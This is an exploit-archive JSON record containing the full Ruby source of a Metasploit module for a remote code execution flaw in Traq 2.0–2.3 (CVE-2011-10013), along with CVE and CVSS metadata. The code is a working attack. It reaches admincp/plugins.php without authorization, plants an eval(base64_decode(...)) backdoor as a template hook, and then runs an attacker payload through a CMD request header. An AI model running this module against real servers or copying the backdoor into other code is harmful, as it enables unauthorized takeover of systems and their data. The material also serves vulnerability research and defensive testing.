{"exploit":{"id":"MSF-multi--http--traq_plugin_exec","name":"Traq admincp/common.php Remote Code Execution","description":"This module exploits an arbitrary command execution vulnerability in Traq 2.0 to 2.3. It's in the admincp/common.php script. This function is called in each script located in the /admicp/ directory to make sure the user has admin rights. This is a broken authorization schema because the header() function doesn't stop the execution flow. This can be exploited by malicious users to execute admin functionality, e.g. execution of arbitrary PHP code leveraging of plugins.php functionality.","cves":["CVE-2011-10013"],"author":"EgiX, TecR0c","published":"2011-12-12","platform":"PHP","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/9e02ac35d81e745446e23f3b552dce2eea215a8a/modules/exploits/multi/http/traq_plugin_exec.rb","path":"modules/exploits/multi/http/traq_plugin_exec.rb","revision":"9e02ac35d81e745446e23f3b552dce2eea215a8a","filename":"traq_plugin_exec.rb","vulnerabilities":[{"id":"CVE-2011-10013","state":"PUBLISHED","title":"Traq 2.0–2.3 admincp/common.php RCE","titleSource":"CVE Program","description":"Traq versions 2.0 through 2.3 contain a remote code execution vulnerability in the admincp/common.php script. The flawed authorization logic fails to halt execution after a failed access check, allowing unauthenticated users to reach admin-only functionality. This can be exploited via plugins.php to inject and execute arbitrary PHP code.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-10013","cvss":{"version":"4.0","baseScore":10,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2011-10013"},"updatedAt":"2026-07-31T11:54:01.954Z","retrievedAt":"2026-11-26T17:18:44.011Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--traq_plugin_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--traq_plugin_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--traq_plugin_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--traq_plugin_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Traq admincp/common.php Remote Code Execution',\n        'Description' => %q{\n          This module exploits an arbitrary command execution vulnerability in\n          Traq 2.0 to 2.3. It's in the admincp/common.php script.\n\n          This function is called in each script located in the /admicp/ directory to\n          make sure the user has admin rights. This is a broken authorization schema\n          because the header() function doesn't stop the execution flow.\n          This can be exploited by malicious users to execute admin functionality,\n          e.g. execution of arbitrary PHP code leveraging of plugins.php functionality.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'EgiX', # Vulnerability discovery and exploit\n          'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit Module\n        ],\n        'References' => [\n          [ 'CVE', '2011-10013' ],\n          [ 'OSVDB', '77556'],\n          [ 'EDB', '18213' ],\n          [ 'URL', 'http://traqproject.org/' ],\n        ],\n        'Privileged' => false,\n        'Payload' => {\n          'Keys' => ['php'],\n          'Space' => 4000,\n          'DisableNops' => true,\n        },\n        'Platform' => ['php'],\n        'Arch' => ARCH_PHP,\n        'Targets' => [[ 'Automatic', {} ]],\n        'DisclosureDate' => '2011-12-12',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('URI', [true, \"The path to the Traq installation\", \"/\"]),\n      ]\n    )\n  end\n\n  def check\n    uri = normalize_uri(datastore['URI'], \"admincp\", \"login.php\")\n\n    res = send_request_raw(\n      {\n        'uri' => uri\n      }, 25\n    )\n\n    if (res and res.body =~ /Powered by Traq 2.[0-3]/)\n      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')\n    end\n\n    return Exploit::CheckCode::Safe('The target is not vulnerable')\n  end\n\n  def exploit\n    p = Rex::Text.encode_base64(payload.encoded)\n\n    uri = normalize_uri(datastore['URI'], \"admincp\", \"plugins.php\") + \"?newhook\"\n\n    res = send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => uri,\n        'vars_post' =>\n          {\n            'plugin_id' => '1',\n            'title' => '1',\n            'execorder' => '0',\n            'hook' => 'template_footer',\n            'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'\n          }\n      }, 25\n    )\n\n    uri = normalize_uri(datastore['URI'], \"index.php\")\n\n    res = send_request_cgi(\n      {\n        'method' => 'GET',\n        'uri' => uri,\n        'headers' =>\n          {\n            'CMD' => p,\n            'Connection' => 'Close',\n          },\n      }, 25\n    )\n  end\nend\n","sha256":"982dac5fb10e1863cf40b7766c7c514f50ac09ae4dfbda2cdb5efa48f0fc7f35","bytes":3210,"fetchedAt":"2026-11-26T22:13:42.291Z","encoding":"utf-8 (display only; download retains original bytes)"}